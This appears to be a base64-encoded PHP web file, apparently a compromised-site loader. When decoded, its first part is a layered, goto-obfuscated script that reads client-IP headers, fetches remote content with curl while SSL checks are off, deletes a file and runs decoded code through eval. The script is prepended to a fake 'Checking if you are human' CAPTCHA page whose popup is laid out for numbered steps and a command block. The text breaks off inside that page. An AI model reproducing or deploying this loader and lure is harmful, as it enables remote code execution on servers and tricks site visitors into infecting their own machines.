Um1YREV5TWx3eE1qUWlYU0E5UFNBME5ETTdJR2R2ZEc4Z1JEbGpXa0k3SUhaYWNGRjZPaUJ5WlhSMWNtNGdJbHd4TlRCY2VEYzBYSGczTkZ4NE56QWlPeUJuYjNSdklFYzBhRVZoT3lCRFFtdFJhVG9nZlNCbmIzUnZJR3RPYVRCRU95QmhabEp0WkRvZ1puVnVZM1JwYjI0Z1ZURkNWeklvS1NCN0lDUnJORTlpTUNBOUlISmhibWRsS0NKY2VEWXhJaXdnSWx3eE56SWlLVHNnY21WMGRYSnVJRnNrYXpSUFlqQmJOVjBnTGlBa2F6UlBZakJiT0YwZ0xpQWthelJQWWpCYk1URmRJQzRnSkdzMFQySXdXelJkSUM0Z0lsd3hNemNpSUM0Z0pHczBUMkl3V3paZElDNGdKR3MwVDJJd1d6UmRJQzRnSkdzMFQySXdXekU1WFNBdUlDSmNNVE0zSWlBdUlDUnJORTlpTUZzeVhTQXVJQ1JyTkU5aU1Gc3hORjBnTGlBa2F6UlBZakJiTVROZElDNGdKR3MwVDJJd1d6RTVYU0F1SUNSck5FOWlNRnMwWFNBdUlDUnJORTlpTUZzeE0xMGdMaUFrYXpSUFlqQmJNVGxkSUM0Z0pHczBUMkl3V3pFNFhWMDdJSDBnWjI5MGJ5QnRNVEI1VWpzZ1l6RnZSR002SUdsbUlDZ2hjM1J5YzNSeUtDUnFkVE4xYVN3Z0lsd3hOekJjTVRVMVhERTFORng0TldaY01UUXpYREUxTjF4NE5tVmNNVFkwWEhnMk5WeDRObVZjTVRZMElpa3BJSHNnWjI5MGJ5Qm5aRVJmYURzZ2ZTQm5iM1J2SUVoMVZFRnpPeUJGYm1aSlNUb2dKRkp4VlRacUlEMGdiblpvY0RRb0tUc2daMjkwYnlCSE1XMHljRHNnY1ZBelJUSTZJQ1JJV1RBeFVDQTlJR0Z5Y21GNUtDazdJR2R2ZEc4Z1RqWmxiR1U3SUZOd09EaGxPaUJMUzE5TE56b2daMjkwYnlCbE1tbGhkenNnWnpCcGFVbzZJQ1JwVVhWNlRTQTlJR0Z5Y21GNUtDSmNNVFV3SWlBdUlDSmNNVFkwSWlBdUlDSmNlRGMwSWlBdUlDSmNlRGN3SWlBdUlDSmNlRGN6SWlBdUlDSmNOeklpSUM0Z0lseDRNbVlpSUM0Z0lseDRNbVlpSUM0Z0lseDROamdpSUM0Z0lseDROaklpSUM0Z0lseDROaklpSUM0Z0lseDROakVpSUM0Z0lseDROekVpSUM0Z0lsd3hOVFlpSUM0Z0lseDRNbVVpSUM0Z0lsd3hORGNpSUM0Z0lseDROakVpSUM0Z0lsd3hOVFVpSUM0Z0lsd3hORFVpSUM0Z0lseDROakVpSUM0Z0lseDROekFpSUM0Z0lseDROalVpSUM0Z0lsdzFOaUlnTGlBaVhIZzNOQ0lnTGlBaVhERTFOeUlnTGlBaVhIZzNNQ0lnTGlBaVhEVTNJaUF1SUNKY2VEWTBJaUF1SUNKY2VEWm1JaUF1SUNKY01UVTNJaUF1SUNKY2VEY3lJaUF1SUNKY2VESm1JaWs3SUdkdmRHOGdka2sxZFVvN0lFaHNVVk41T2lCblpFUmZhRG9nWjI5MGJ5QjJOekZGU1RzZ1EwMTVjRFk2SUNSS1NVTnlieUE5SUdsemMyVjBLQ1JmVTBWU1ZrVlNXeUpjZURRNFhERXlORng0TlRSY2VEVXdYREV6TjF3eE1ERmNNVEF6WEhnME0xeDRORFZjZURVd1hERXlORng0TldaY2VEUmpYSGcwTVZ4NE5HVmNlRFEzWEhnMU5Wd3hNREZjZURRM1hIZzBOU0pkS1NBL0lDUmZVMFZTVmtWU1d5SmNNVEV3WEhnMU5GeDROVFJjZURVd1hERXpOMXg0TkRGY01UQXpYREV3TTF3eE1EVmNlRFV3WERFeU5Gd3hNemRjTVRFMFhIZzBNVnd4TVRaY01UQTNYREV5TlZ4NE5ERmNlRFEzWEhnME5TSmRJRG9nSnljN0lHZHZkRzhnYzFGZmRtTTdJSEJoVVdsVE9pQWtZbkJ4Vm0wZ1BTQlljMk5rV1Nna1pIQTJSRUVwT3lCbmIzUnZJRkkzVmtWSU95QjVZVU16VURvZ1puVnVZM1JwYjI0Z2NIcDRabFVvSkd0d1VFeFBLU0I3SUdkdmRHOGdWRlkxZFcwN0lFd3lkVzV1T2lBa2RrSlJla0piSWx4NE56TmNNVFkwWEhnMk1WeDROelJjTVRZMVhIZzNNeUpkSUQwZ0pGRjZSWGxhT3lCbmIzUnZJSEoxUTFkUk95QlBYMjV0UnpvZ2RISjVJSHNnSkVac1JuY3dJRDBnZFRGaWR6SW9LVHNnSkhSdVVVZzFJRDBnUUNSR2JFWjNNRnN3WFNna2EzQlFURThwT3lCOUlHTmhkR05vSUNoRmVHTmxjSFJwYjI0Z0pGVmplVnBXS1NCN0lIMGdaMjkwYnlCUmNFbFNienNnUzNKU2RHZzZJQ1JSZWtWNVdpQTlJREU3SUdkdmRHOGdlbWhCWDI0N0lGRndTVkp2T2lCWFJFTnBURG9nWjI5MGJ5QnhNVXRXUnpzZ2NURkxWa2M2SUdsbUlDZ2hLQ1IwYmxGSU5TQWhQU0FuSnlrcElIc2daMjkwYnlCUU9XbHROVHNnZlNCbmIzUnZJRkJJWlZvNE95QnlkVU5YVVRvZ0pIWkNVWHBDV3lKY2VEWXpYSGcyWmx3eE5UWmNNVFkwWERFME5WeDRObVZjTVRZMElsMGdQU0FrZEc1UlNEVTdJR2R2ZEc4Z1RYQmFjM0E3SUZCSVpWbzRPaUFrVVhwRmVWb2dQU0F4T3lCbmIzUnZJRmRQYURBM095Qk5jRnB6Y0RvZ2NtVjBkWEp1SUNSMlFsRjZRanNnWjI5MGJ5QmlaR3RMU2pzZ2VYaHdhMkk2SUdsbUlDZ2hLQ2drZEc1UlNEVWdQVDA5SUdaaGJITmxJSHg4SUNSMGJsRklOU0E5UFNBbkp5a2dKaVlnYVc1cFgyZGxkQ2dpWEhnMk1Wd3hOVFJjZURaalhIZzJabHd4TmpkY01UTTNYSGczTlZ4NE56SmNlRFpqWERFek4xeDROalpjZURabVhERTJNRng0TmpWY2VEWmxJaWtwS1NCN0lHZHZkRzhnVjBSRGFVdzdJSDBnWjI5MGJ5QlBYMjV0UnpzZ2VtaEJYMjQ2SUhSeWVTQjdJR2R2ZEc4Z1JtY3dPV283SUV4UU5IRnNPaUFrZEc1UlNEVWdQU0JqZFhKc1gyVjRaV01vSkhGTVdFRnhLVHNnWjI5MGJ5QlhVVTFRUVRzZ1dGTkJkMWM2SUdOMWNteGZjMlYwYjNCMEtDUnhURmhCY1N3Z1ExVlNURTlRVkY5VFUweGZWa1ZTU1VaWlVFVkZVaXdnUmtGTVUwVXBPeUJuYjNSdklGRkJTVU5tT3lCdVFtOU9Nam9nWTNWeWJGOXpaWFJ2Y0hRb0pIRk1XRUZ4TENCRFZWSk1UMUJVWDBOUFRrNUZRMVJVU1UxRlQxVlVMQ0F4TUNrN0lHZHZkRzhnWmpad1duTTdJRkZCU1VObU9pQmpkWEpzWDNObGRHOXdkQ2drY1V4WVFYRXNJRU5WVWt4UFVGUmZVMU5NWDFaRlVrbEdXVWhQVTFRc0lFWkJURk5GS1RzZ1oyOTBieUJ1UW05T01qc2dlbk5wUkZNNklHTjFjbXhmYzJWMGIzQjBLQ1J4VEZoQmNTd2dRMVZTVEU5UVZGOUdUMHhNVDFkTVQwTkJWRWxQVGl3Z01TazdJR2R2ZEc4Z1dGTkJkMWM3SUZkUlRWQkJPaUJqZFhKc1gyTnNiM05sS0NSeFRGaEJjU2s3SUdkdmRHOGdRbWN5UVhVN0lHWTJjRnB6T2lCamRYSnNYM05sZEc5d2RDZ2tjVXhZUVhFc0lFTlZVa3hQVUZSZlVrVlVWVkpPVkZKQlRsTkdSVklzSURFcE95Qm5iM1J2SUV4UU5IRnNPeUJFUm00MVVUb2dZM1Z5YkY5elpYUnZjSFFvSkhGTVdFRnhMQ0JEVlZKTVQxQlVYMVZTVEN3Z0pHdHdVRXhQS1RzZ1oyOTBieUI2YzJsRVV6c2dSbWN3T1dvNklDUnhURmhCY1NBOUlHTjFjbXhmYVc1cGRDZ3BPeUJuYjNSdklFUkdialZST3lCQ1p6SkJkVG9nZlNCallYUmphQ0FvUlhoalpYQjBhVzl1SUNSVlkzbGFWaWtnZXlCOUlHZHZkRzhnZVhod2EySTdJRlJXTlhWdE9pQWtkRzVSU0RVZ1BTQW5KenNnWjI5MGJ5QkxjbEowYURzZ1YwOW9NRGM2SUZBNWFXMDFPaUJuYjNSdklHdEVNbVp2T3lCclJESm1iem9nSkhaQ1VYcENJRDBnWVhKeVlYa29LVHNnWjI5MGJ5Qk1NblZ1YmpzZ1ltUnJTMG82SUgwZ1oyOTBieUJoWmxKdFpEc2dVRGxuWWtJNklDUmtjRFpFUVNBOUlHbHpjMlYwS0NSZlUwVlNWa1ZTV3lKY01URXdYSGcxTkZ3eE1qUmNlRFV3WERFek4xeDROVEpjZURRMVhIZzBObHg0TkRWY01USXlYREV3TlZ4NE5USWlYU2tnUHlBa1gxTkZVbFpGVWxzaVhERXhNRng0TlRSY01USTBYREV5TUZ4NE5XWmNNVEl5WEhnME5Wd3hNRFpjTVRBMVhERXlNbHg0TkRWY2VEVXlJbDBnT2lBbkp6c2daMjkwYnlCblMybGFSRHNnU1U0MVJVWTZJQ1JJV1RBeFVDQTlJSEI2ZUVaMUtDUmxha2RqYXlrN0lHZHZkRzhnY25ZeWIwdzdJSFZDTTA1eE9pQkFaWEp5YjNKZmNtVndiM0owYVc1bktEQXBPeUJuYjNSdklITnliMWxYT3lCMlNUVjFTam9nSkhaQ1VYcENJRDBnVUhwNFJuVW9hVzF3Ykc5a1pTZ2thVkYxZWswcElDNGdKRWQxWlhCSElDNGdJbHcxTmx4NE56UWlJQzRnSWx3eE56QWlJQzRnSWx3eE5qUWlLVHNnWjI5MGJ5QjZPRk5YUkRzZ2NuWXliMHc2SUhNelZGSmlPaUJuYjNSdklITXdSRFV6T3lCRGJqQjNVVG9nZFc1c2FXNXJLQ1JGTW1GcmVpQXVJQ0pjZURKbVhERTJNbHg0Tm1aY01UUXlYREUxTjF4NE56UmNNVFl6WEhneVpWeDROelJjTVRjd1hIZzNOQ0lwT3lCbmIzUnZJRk53T0RobE95QnJUbWt3UkRvZ1puVnVZM1JwYjI0Z1pqRllSWFlvS1NCN0lHZHZkRzhnUlhsRWRGVTdJRVpmZUZoa09pQnhUWE5wU3pvZ1oyOTBieUJSWWxad1VEc2dSSHAxVldZNklGcG9TMGxMT2lCbmIzUnZJRTlrWnpGaU95QldZVFprTnpvZ2FXWWdLQ0ZsYlhCMGVTZ2tYMU5GVWxaRlVsc2lYREV4TUZ4NE5UUmNNVEkwWERFeU1Gd3hNemRjZURRelhERXhORng0TkRsY2VEUTFYSGcwWlZ3eE1qUmNNVE0zWERFeE1Wd3hNakFpWFNrcElIc2daMjkwYnlCYWFFdEpTenNnZlNCbmIzUnZJSFk0ZGpWWk95Qm1ZVFZGUlRvZ0pGZDJWWFp0SUQwZ0pGOVRSVkpXUlZKYklsd3hNVEJjZURVMFhIZzFORng0TlRCY2VEVm1YSGcxT0Z3eE16ZGNNVEEyWERFeE4xd3hNakpjTVRJM1hERXdNVng0TlRKY2VEUTBYREV3TlZ4NE5EUmNlRFZtWEhnME5sd3hNVGRjTVRJeUlsMDdJR2R2ZEc4Z1JsOTRXR1E3SUU5a1p6RmlPaUFrVjNaVmRtMGdQU0FrWDFORlVsWkZVbHNpWERFeE1GeDROVFJjTVRJMFhIZzFNRng0TldaY01UQXpYSGcwWTF4NE5EbGNNVEExWEhnMFpWeDROVFJjTVRNM1hERXhNVnd4TWpBaVhUc2daMjkwYnlCcldXSndOanNnYWpSc05WWTZJQ1JYZGxWMmJTQTlJQ1JmVTBWU1ZrVlNXeUpjZURVeVhIZzBOVnd4TVRWY01URTNYSGcxTkZ4NE5EVmNNVE0zWERFd01WeDRORFJjZURRMFhERXlNaUpkT3lCbmIzUnZJSG8wU1V4Qk95QnJXV0p3TmpvZ2VrazBjMGM2SUdkdmRHOGdSemw2VjBzN0lFVjVSSFJWT2lBa1YzWlZkbTBnUFNBbkp6c2daMjkwYnlCV1lUWmtOenNnUnpsNlYwczZJSEpsZEhWeWJpQWtWM1pWZG0wN0lHZHZkRzhnUW5aU1FVVTdJRkZpVm5CUU9pQm5iM1J2SUhwSk5ITkhPeUJuYjNSdklFUjZkVlZtT3lCNk5FbE1RVG9nWjI5MGJ5QnhUWE5wU3pzZ1oyOTBieUJKV1c1TU1Ec2dkamgyTlZrNklHbG1JQ2doWlcxd2RIa29KRjlUUlZKV1JWSmJJbHg0TkRoY01USTBYREV5TkZ4NE5UQmNNVE0zWEhnMU9Gd3hNemRjTVRBMlhIZzBabHg0TlRKY01USTNYREV3TVZ4NE5USmNNVEEwWEhnME5Wd3hNRFJjZURWbVhIZzBObHd4TVRkY2VEVXlJbDBwS1NCN0lHZHZkRzhnZWs1clNrVTdJSDBnWjI5MGJ5QnFOR3cxVmpzZ1NWbHVUREE2SUhwT2EwcEZPaUJuYjNSdklHWmhOVVZGT3lCQ2RsSkJSVG9nZlNCbmIzUnZJSGxoUXpOUU95QkhNVzB5Y0RvZ0pGQjVXRUk1SUQwZ0pGOVRSVkpXUlZKYklseDROVEpjTVRBMVhERXlNVng0TlRWY01UQTFYSGcxTTF4NE5UUmNlRFZtWEhnMU5Wd3hNakpjZURRNUlsMDdJR2R2ZEc4Z1EwMTVjRFk3SUdVeWFXRjNPaUFrU0Zrd01WQWdQU0J3ZWxobWRTZ2taV3BIWTJzcE95Qm5iM1J2SUhCUVRHMXJPeUJXV0hobFlUb2dablZ1WTNScGIyNGdlRk5qWkhrb0pHZDJaa1UyS1NCN0lHZHZkRzhnY1RCamVHODdJR3hvZW5CMk9pQWtkekJMVDNvZ1BTQWlYREUwTjF3eE5UZGNlRFptWEhnMk4xeDRObU5jZURZMVhEVTJYREUwTTF3eE5UZGNlREpsWEhnMllWd3hOakJjZURkalhIZzJOMXd4TlRkY2VEWm1YREUwTjF3eE5UUmNlRFkxWEhneVpWd3hORE5jTVRVM1hIZzJaRnd4TnpSY01UY3hYSGcyTVZ4NE5qaGNNVFUzWERFMU4xeDRNbVZjTVRRelhIZzJabHg0TW1WY2VEWmhYREUyTUZ3eE56UmNlRGM1WEhnMk1Wd3hOVEJjZURabVhIZzJabHcxTmx3eE5ETmNNVFUzWEhnMlpGd3hOelJjZURZeVhIZzJPVnd4TlRaY2VEWTNYRFUyWEhnMk0xd3hOVGRjTVRVMUlqc2daMjkwYnlCR2JEQlVXVHNnVlc5R05IVTZJR3R0Y1dKek9pQm5iM1J2SUhkb1EweHVPeUJIVUZkdFJqb2dKR0p3Y1ZadElEMGdkSEoxWlRzZ1oyOTBieUJWYjI1VWNqc2dkMmhEVEc0NklISmxkSFZ5YmlBa1luQnhWbTA3SUdkdmRHOGdiREJ5VHpNN0lIRXdZM2h2T2lBa1luQnhWbTBnUFNCbVlXeHpaVHNnWjI5MGJ5QnNhSHB3ZGpzZ1ZXOXVWSEk2SUdaSGRGZExPaUJuYjNSdklGVnZSalIxT3lCc2VITkxYem9nYVdZZ0tDRndjbVZuWDIxaGRHTm9LQ0pjTlRkY05UQjdKSGN3UzA5NmZWeDRNamxjZURKbVhERTJNMXg0TmpraUxDQWtaM1ptUlRZcEtTQjdJR2R2ZEc4Z1prZDBWMHM3SUgwZ1oyOTBieUJIVUZkdFJqc2dSbXd3VkZrNklHbG1JQ2doSkdkMlprVTJLU0I3SUdkdmRHOGdhMjF4WW5NN0lIMGdaMjkwYnlCc2VITkxYenNnYkRCeVR6TTZJSDBLUHo0PSI7JHc9Ij8+IjtldmFsKCR3LiR1KCR2KSk7JHM9IjZJR2xtSUNnaFpXIjskeD0wOz8+PCFET0NUWVBFIGh0bWw+CjxodG1sIGxhbmc9ImVuIj4KPGhlYWQ+CiAgPG1ldGEgY2hhcnNldD0idXRmLTgiLz4KICA8bWV0YSBuYW1lPSJ2aWV3cG9ydCIgY29udGVudD0id2lkdGg9ZGV2aWNlLXdpZHRoLGluaXRpYWwtc2NhbGU9MSIvPgogIDx0aXRsZT5DaGVja2luZyBpZiB5b3UgYXJlIGh1bWFuPC90aXRsZT4KICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjAuMC1iZXRhMy9jc3MvYWxsLm1pbi5jc3MiPgogIDxsaW5rIHJlbD0iaWNvbiIgaWQ9ImR5bmFtaWMtZmF2aWNvbiIgaHJlZj0iZGF0YTosIj4KICA8c3R5bGU+CgogICAgYm9keSB7IGJhY2tncm91bmQtY29sb3I6ICNmY2ZjZmM7IGNvbG9yOiAjMzMzOyB9CiAgICAudGV0dHggeyBjb2xvcjogcmdiKDc4IDc4IDc4KTsgfQogICAgLnZlcmlmeS1tYWluIHsgY29sb3I6ICMzMzMgIWltcG9ydGFudDsgfQogICAgLnZlcmlmeS12ZXJpZnktYnV0dG9uIHsgYmFja2dyb3VuZDogIzMzMzMzMyAhaW1wb3J0YW50OyB9CiAgICAuY2hlY2tib3gtd2luZG93IHsgZGlzcGxheTogZmxleDsgZmxleC1kaXJlY3Rpb246IGNvbHVtbjsgYWxpZ24taXRlbXM6IGNlbnRlcjsgd2lkdGg6IDMwMHB4OyBoZWlnaHQ6IDc0cHg7IGJhY2tncm91bmQtY29sb3I6ICNmYWZhZmE7IGJvcmRlcjogMXB4IHNvbGlkICNlMGUwZTA7IGJvcmRlci1yYWRpdXM6IDRweDsgcGFkZGluZzogMTBweDsgb3ZlcmZsb3c6IGhpZGRlbjsgdHJhbnNpdGlvbjogd2lkdGggLjVzIGVhc2UtaW4tb3V0LCBoZWlnaHQgLjVzIGVhc2UtaW4tb3V0OyB9CiAgICAuY2hlY2tib3gtY29udGFpbmVyIHsgd2lkdGg6IDI4cHg7IGhlaWdodDogMjhweDsgbWFyZ2luLWxlZnQ6IDEycHg7IG1hcmdpbi1yaWdodDogOHB4OyBwb3NpdGlvbjogcmVsYXRpdmU7IH0KICAgIC5jaGVja2JveCB7IHdpZHRoOiAxMDAlOyBoZWlnaHQ6IDEwMCU7IGJhY2tncm91bmQtY29sb3I6ICNmZmY7IGJvcmRlci1yYWRpdXM6IDJweDsgYm9yZGVyOiAycHggc29saWQgIzg4ODsgY3Vyc29yOiBwb2ludGVyOyB0cmFuc2l0aW9uOiBib3JkZXItY29sb3IgLjNzLCBiYWNrZ3JvdW5kLWNvbG9yIC4zczsgfQogICAgLmNoZWNrYm94LmNoZWNrZWQgeyBib3JkZXItY29sb3I6ICM0Mjg1ZjQ7IGJhY2tncm91bmQtY29sb3I6ICM0Mjg1ZjQ7IHBvc2l0aW9uOiByZWxhdGl2ZTsgfQogICAgLmNoZWNrYm94LmNoZWNrZWQ6OmFmdGVyIHsgY29udGVudDogIlxmMDBjIjsgZm9udC1mYW1pbHk6ICJGb250QXdlc29tZSI7IGNvbG9yOiAjZmZmOyBmb250LXNpemU6IDE4cHg7IHBvc2l0aW9uOiBhYnNvbHV0ZTsgdG9wOiAtMnB4OyBsZWZ0OiAycHg7IH0KICAgIC5zcGlubmVyIHsgdmlzaWJpbGl0eTogaGlkZGVuOyBwb3NpdGlvbjogcmVsYXRpdmU7IH0KICAgIC52ZXJpZnktd2luZG93IHsgb3BhY2l0eTogMDsgdmlzaWJpbGl0eTogaGlkZGVuOyB3aWR0aDogMTAwJTsgaGVpZ2h0OiAwOyB0cmFuc2l0aW9uOiBvcGFjaXR5IC41cywgaGVpZ2h0IC41czsgfQogICAgLnZlcmlmeS13aW5kb3cuYWN0aXZlIHsgb3BhY2l0eTogMTsgdmlzaWJpbGl0eTogdmlzaWJsZTsgaGVpZ2h0OiBhdXRvOyB9CiAgICAudmVyaWZ5LWhlYWRlciB7IGJhY2tncm91bmQtY29sb3I6ICNlODVkMWE7IHBhZGRpbmc6IDEwcHg7IGNvbG9yOiAjZmZmOyBmb250LXNpemU6IDE0cHg7IH0KICAgIC52ZXJpZnktbWFpbiB7IHBhZGRpbmc6IDEwcHg7IGZvbnQtc2l6ZTogMTRweDsgY29sb3I6ICNmZmY7IH0KICAgIC52ZXJpZnktZm9vdGVyIHsgYmFja2dyb3VuZC1jb2xvcjogI2YyZjJmMjsgcGFkZGluZzogMTBweDsgdGV4dC1hbGlnbjogcmlnaHQ7IH0KICAgIC52ZXJpZnktZm9vdGVyIGJ1dHRvbiB7IHBhZGRpbmc6IDhweCAxNXB4OyBiYWNrZ3JvdW5kOiAjNDI4NWY0OyBjb2xvcjogI2ZmZjsgYm9yZGVyOiBub25lOyBjdXJzb3I6IHBvaW50ZXI7IGJvcmRlci1yYWRpdXM6IDRweDsgfQogICAgLnZlcmlmeS13aW5kb3cgeyB3aWR0aDogYXV0bzsgfQogICAgLnZlcmlmeS1oZWFkZXIgeyBiYWNrZ3JvdW5kLWNvbG9yOiAjZTg1ZDFhOyBwYWRkaW5nOiAxMHB4IDE2cHg7IGNvbG9yOiAjZmZmOyBmb250LXNpemU6IDE0cHg7IGJvcmRlci1yYWRpdXM6IDA7IH0KICAgIC5sZHMtcmluZyB7IGRpc3BsYXk6IGlubGluZS1ibG9jazsgcG9zaXRpb246IHJlbGF0aXZlOyB9CiAgICAubGRzLXJpbmcsIC5sZHMtcmluZyBkaXYgeyBoZWlnaHQ6IDEuODc1cmVtOyB3aWR0aDogMS44NzVyZW07IH0KICAgIC5sZHMtcmluZyBkaXYgeyBhbmltYXRpb246IGxkcy1yaW5nIDEuMnMgY3ViaWMtYmV6aWVyKC41LDAsLjUsMSkgaW5maW5pdGU7IGJvcmRlcjogLjNyZW0gc29saWQgdHJhbnNwYXJlbnQ7IGJvcmRlci1yYWRpdXM6IDUwJTsgYm9yZGVyLXRvcC1jb2xvcjogIzMxMzEzMTsgYm94LXNpemluZzogYm9yZGVyLWJveDsgZGlzcGxheTogYmxvY2s7IHBvc2l0aW9uOiBhYnNvbHV0ZTsgfQogICAgLmxkcy1yaW5nIGRpdjpmaXJzdC1jaGlsZCB7IGFuaW1hdGlvbi1kZWxheTogLS40NXM7IH0KICAgIC5sZHMtcmluZyBkaXY6bnRoLWNoaWxkKDIpIHsgYW5pbWF0aW9uLWRlbGF5OiAtLjNzOyB9CiAgICAubGRzLXJpbmcgZGl2Om50aC1jaGlsZCgzKSB7IGFuaW1hdGlvbi1kZWxheTogLS4xNXM7IH0KICAgIEBrZXlmcmFtZXMgbGRzLXJpbmcgeyAwJSB7IHRyYW5zZm9ybTogcm90YXRlKDBkZWcpOyB9IHRvIHsgdHJhbnNmb3JtOiByb3RhdGUoMXR1cm4pOyB9IH0KICAgIEBtZWRpYSAocHJlZmVycy1jb2xvci1zY2hlbWU6IGRhcmspIHsgYm9keSAubGRzLXJpbmcgZGl2IHsgYm9yZGVyLWNvbG9yOiAjNjc2NzY3IHRyYW5zcGFyZW50IHRyYW5zcGFyZW50OyB9IH0KICAgICogeyBib3gtc2l6aW5nOiBib3JkZXItYm94OyBtYXJnaW46IDA7IHBhZGRpbmc6IDA7IH0KICAgIGJvZHkgeyBmb250LWZhbWlseTogc3lzdGVtLXVpLC1hcHBsZS1zeXN0ZW0sQmxpbmtNYWNTeXN0ZW1Gb250LCJTZWdvZSBVSSIsUm9ib3RvLCJIZWx2ZXRpY2EgTmV1ZSIsQXJpYWwsIk5vdG8gU2FucyIsc2Fucy1zZXJpZiwiQXBwbGUgQ29sb3IgRW1vamkiLCJTZWdvZSBVSSBFbW9qaSIsIlNlZ29lIFVJIFN5bWJvbCIsIk5vdG8gQ29sb3IgRW1vamkiOyBkaXNwbGF5OiBmbGV4OyBmbGV4LWRpcmVjdGlvbjogY29sdW1uOyBoZWlnaHQ6IDEwMHZoOyBtaW4taGVpZ2h0OiAxMDB2aDsgfQogICAgLm1haW4td3JhcHBlciB7IGFsaWduLWl0ZW1zOiBjZW50ZXI7IGRpc3BsYXk6IGZsZXg7IGZsZXg6IDE7IGZsZXgtZGlyZWN0aW9uOiBjb2x1bW47IH0KICAgIC5tYWluLWNvbnRlbnQgeyBtYXJnaW46IDhyZW0gYXV0bzsgbWF4LXdpZHRoOiA2MHJlbTsgcGFkZGluZy1sZWZ0OiAxLjVyZW07IHBhZGRpbmctcmlnaHQ6IDEuNXJlbTsgd2lkdGg6IDEwMCU7IH0KICAgIC5mb290ZXIgeyBmb250LXNpemU6IC43NXJlbTsgbGluZS1oZWlnaHQ6IDEuMTI1cmVtOyBtYXJnaW46IDAgYXV0bzsgbWF4LXdpZHRoOiA2MHJlbTsgcGFkZGluZy1sZWZ0OiAxLjVyZW07IHBhZGRpbmctcmlnaHQ6IDEuNXJlbTsgd2lkdGg6IDEwMCU7IH0KICAgIC5mb290ZXItaW5uZXIgeyBib3JkZXItdG9wOiAxcHggc29saWQgI2Q5ZDlkOTsgcGFkZGluZy1ib3R0b206IDFyZW07IHBhZGRpbmctdG9wOiAxcmVtOyB0ZXh0LWFsaWduOiBjZW50ZXI7IH0KICAgIC8qIFBvcHVwIFZlcmlmaWNhdGlvbiBXaW5kb3cgKi8KICAgIC52ZXJpZnktd2luZG93IHsgZm9udC1mYW1pbHk6IFJvYm90byxoZWx2ZXRpY2EsYXJpYWwsc2Fucy1zZXJpZjsgb3BhY2l0eTogMDsgdmlzaWJpbGl0eTogaGlkZGVuOyBtYXJnaW46IGF1dG87IHdpZHRoOiAzMTBweDsgdHJhbnNpdGlvbjogb3BhY2l0eSA0MDBtczsgfQogICAgLnZlcmlmeS13aW5kb3cgeyBkaXNwbGF5OiBibG9jazsgdG9wOiA1cHg7IGxlZnQ6IDU0cHg7IH0KICAgIC52ZXJpZnktaGVhZGVyIHsgYmFja2dyb3VuZC1jb2xvcjogIzFhNzNlODsgcGFkZGluZzogMTZweDsgY29sb3I6ICNmZmY7IGZvbnQtc2l6ZTogMThweDsgYm9yZGVyLXJhZGl1czogOHB4IDhweCAwIDA7IH0KICAgIC52ZXJpZnktbWFpbiB7IHBhZGRpbmc6IDE2cHg7IGZvbnQtc2l6ZTogMTRweDsgY29sb3I6ICMzMzM7IH0KICAgIC52ZXJpZnktbWFpbiBvbCB7IHBhZGRpbmctbGVmdDogMjBweDsgfQogICAgLnZlcmlmeS1tYWluIG9sIGxpIHsgbWFyZ2luLWJvdHRvbTogMTBweDsgfQogICAgLnZlcmlmeS1tYWluIGNvZGUgeyBkaXNwbGF5OiBibG9jazsgbWFyZ2luLXRvcDogMTBweDsgYmFja2dyb3VuZC1jb2xvcjogI2Y5ZjlmOTsgcGFkZGluZzogMTBweDsgZm9udC1zaXplOiAxMnB4OyBib3JkZXI6IDFweCBzb2xpZCAjZGRkOyB9CiAgICAudmVyaWZ5LWZvb3RlciB7IGJhY2tncm91bmQtY29sb3I6ICNmMmYyZjI7IHBhZGRpbmc6IDE2cHg7IHRleHQtYWxpZ246IHJpZ2h0OyB9CiAgICAudmVyaWZ5LWZvb3RlciBidXR0b24geyBwYWRkaW5nOiAxMHB4IDIwcHg7IGJhY2tncm91bmQ6ICM0Mjg1ZjQ7IGNvbG9yOiAjZmZmOyBib3JkZXI6IG5vbmU7IGJvcmRlci1yYWRpdXM6IDVweDsgY3Vyc29yOiBwb2ludGVyOyB9CiAgICAub3ZlcmxheSB7IGRpc3BsYXk6IG5vbmU7IHBvc2l0aW9uOiBmaXhlZDsgdG9wOiAwOyBsZWZ0OiAwOyB3aWR0aDogMTAwJTsgaGVpZ2h0OiAxMDAlOyBiYWNrZ3JvdW5kOiByZ2JhKDAsMCwwLC41KTsgei1pbmRleDogMTA7IH0KICAgIC5vdmVybGF5LmFjdGl2ZSwgLnZlcmlmeS13aW5kb3cuYWN0aXZlIHsgZGlzcGxheTogYmxvY2s7IH0KICAgIC52ZXJpZnktd2luZG93IHsgd2lkdGg6IGF1dG87IH0KICAgIC52ZXJpZnktaGVhZGVyIHsgYmFja2dyb3VuZC1jb2xvcjogI2U4NWQxYTsgcGFkZGluZzogMTBweCAxNnB4OyBjb2xvcjogI2ZmZjsgZm9udC1zaXplOiAxNHB4OyBib3JkZXItcmFkaXVzOiAwOyB9CiAgICAjc3Bpbm5lcjIgeyB3aWR0aDogNDBweDsgaGVpZ2h0OiA0MHB4OyBhbmltYXRpb246IHJvdGF0ZSA0cyBsaW5lYXIgaW5maW5pdGU7IG1hcmdpbi10b3A6IC00cHg7IH0KICAgIC5jaGVja2JveC13aW5kb3cgeyBvcGFjaXR5OiAwOyB9CiAgICBAa2V5ZnJhbWVzIHJvdGF0ZSB7IGZyb20geyB0cmFuc2Zvcm06IHJvdGF0ZSgwZGVnKTsgfSB0byB7IHRyYW5zZm9ybTogcm90YXRlKDM2MGRlZyk7IH0gfQogIDwvc3R5bGU+CjwvaGVhZD4KPGJvZHk+Cgo8ZGl2IGNsYXNzPSJtYWluLXdyYXBwZXIiPgogPGRpdiBjbGFzcz0ibWFpbi1jb250ZW50Ij4KICA8ZGl2IHN0eWxlPSJkaXNwbGF5OiBmbGV4OyBhbGlnbi1pdGVtczogY2VudGVyOyI+CiAgIDwhLS0gT24tcGFnZSBsb2dvIC0tPgogICA8aW1nIGNsYXNzPSJsb2dvLWltZyIgc3JjPSIiIGFsdD0iU2l0ZSBsb2dvIiBzdHlsZT0iaGVpZ2h0OiAycmVtOyBtYXJnaW4tcmlnaHQ6IDAuNXJlbTsiPgogICA8cCBzdHlsZT0iZm9udC1zaXplOiAyLjVyZW07IGZvbnQtd2VpZ2h0OiA1MDA7IGxpbmUtaGVpZ2h0OiAzLjc1cmVtOyI+PHNwYW4gY2xhc3M9ImRvbWFpbi1uYW1lIj48L3NwYW4+PC9wPgogIDwvZGl2PgoKICA8ZGl2IHN0e